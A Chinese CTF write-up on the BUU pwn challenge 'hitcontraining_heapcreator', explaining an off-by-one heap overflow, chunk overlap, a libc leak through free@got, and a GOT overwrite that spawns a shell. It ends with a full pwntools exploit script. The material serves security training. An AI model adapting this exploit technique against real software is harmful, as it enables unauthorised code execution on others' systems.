hitcontraining_heapcreator

最新推荐文章于 2024-07-11 11:23:59 发布

原创最新推荐文章于 2024-07-11 11:23:59 发布 · 2.9k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #wp #网络安全 #信息安全 #python

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

这篇博客详细介绍了如何利用off-by-one漏洞来攻击一个名为hitcontraining_heapcreator的程序。作者通过分析程序的内存分配和编辑功能，发现了一个off-by-one错误，并利用这个错误覆盖了相邻chunk的size字段，进而操纵内存分配，控制free@got的地址，最终实现system调用，执行/bin/sh。整个过程包括创建和编辑chunk、泄露libc地址、修改free@got为system地址，最后触发系统调用来获取shell。

部署运行你感兴趣的模型镜像

hitcontraining_heapcreator

使用checksec查看：
在这里插入图片描述
开启了Canary和栈不可执行，没有开启PIE。

先运行一下看看：
在这里插入图片描述
看到菜单，堆题，放进IDA中查看：

分布来查看，首先是create_heap()：

heaparray[i] = malloc(0x10uLL)：创建用户所需chunk前程序会先创建一个0x10大小的chunk
v0[1] = malloc(size);：程序所创建的chunk中存放了用户所创的chunk的地址

edit_heap()：
在这里插入图片描述

read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);：末尾多加了1 ，明显的off-by-one漏洞

show()：
在这里插入图片描述

没啥问题，就显示出内容

delete_heap()：
在这里插入图片描述

heaparray[v1] = 0LL;指针清了，也没啥问题。

题目思路

全局看下来只存在了一个off-by-one漏洞。
利用 off by one 漏洞覆盖下一个 chunk 的 size 字段。
从而构造fake_chunk 大小。
申请fake_chunk 大小
产生 chunk overlap，进而修改关键指针。

步骤解析

程序自动创建的chunk大小是0x10，所以本题我们也使用这个大小。
首先创建三个chunk

在这里插入图片描述

通过off-by-one修改chunk0，覆盖到程序创建的chunk1的size位

在这里插入图片描述

接着free掉chunk1

在这里插入图片描述

可以看到free掉的chunk进入了fastbin中的0x80位置，此时在申请一个0x70大小的chunk，就能将这个0x80块申请出来

此时chunk2的指针没有更改，系统创建的chunk2还是存放着用户创建的chunk2的地址

我们可以将该地址修改成free@got的地址，泄露出libc的地址。

在这里插入图片描述

接着修改chunk2，对应得就会修改free@got所指向的地址，将该地址修改成system的地址

调用free时，就会调用system，前面已经将chunk0的内容改为/bin/sh

所以free(0)就会变成system('/bin/sh')

完整exp：

from pwn import *

#start
# r = remote('node4.buuoj.cn',29754)
r = process("../buu/hitcontraining_heapcreator")
elf = ELF("../buu/hitcontraining_heapcreator")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'
gdb.attach(r,"b *0x4008FA")

def add(size,content):
    r.sendlineafter("choice :",'1')
    r.sendlineafter("Heap : ",str(size))
    r.sendlineafter("heap:",content)

def edit(idx,content):
    r.sendlineafter("choice :",'2')
    r.sendlineafter("Index :",str(idx))
    r.sendlineafter("heap : ",content)

def show(idx):
    r.sendlineafter("choice :",'3')
    r.sendlineafter("Index :",str(idx))

def delete(idx):
    r.sendlineafter("choice :",'4')
    r.sendlineafter("Index :",str(idx))

#params
free_got = elf.got['free']

#attack
add(0x18,"MMMM")
add(0x10,"MMMM")
add(0x10,"MMMM")
# gdb.attach(r)

edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
# gdb.attach(r)
delete(1)

add(0x70,p64(0)*8+p64(0x8)+p64(free_got))
show(2)
free_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

#libc
base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']

edit(2,p64(system_addr))
#gdb.attach(r)
delete(0)

r.interactive()

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

图片生成

Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型，相比 3.0 版本，它提升了图像质量、运行速度和硬件效率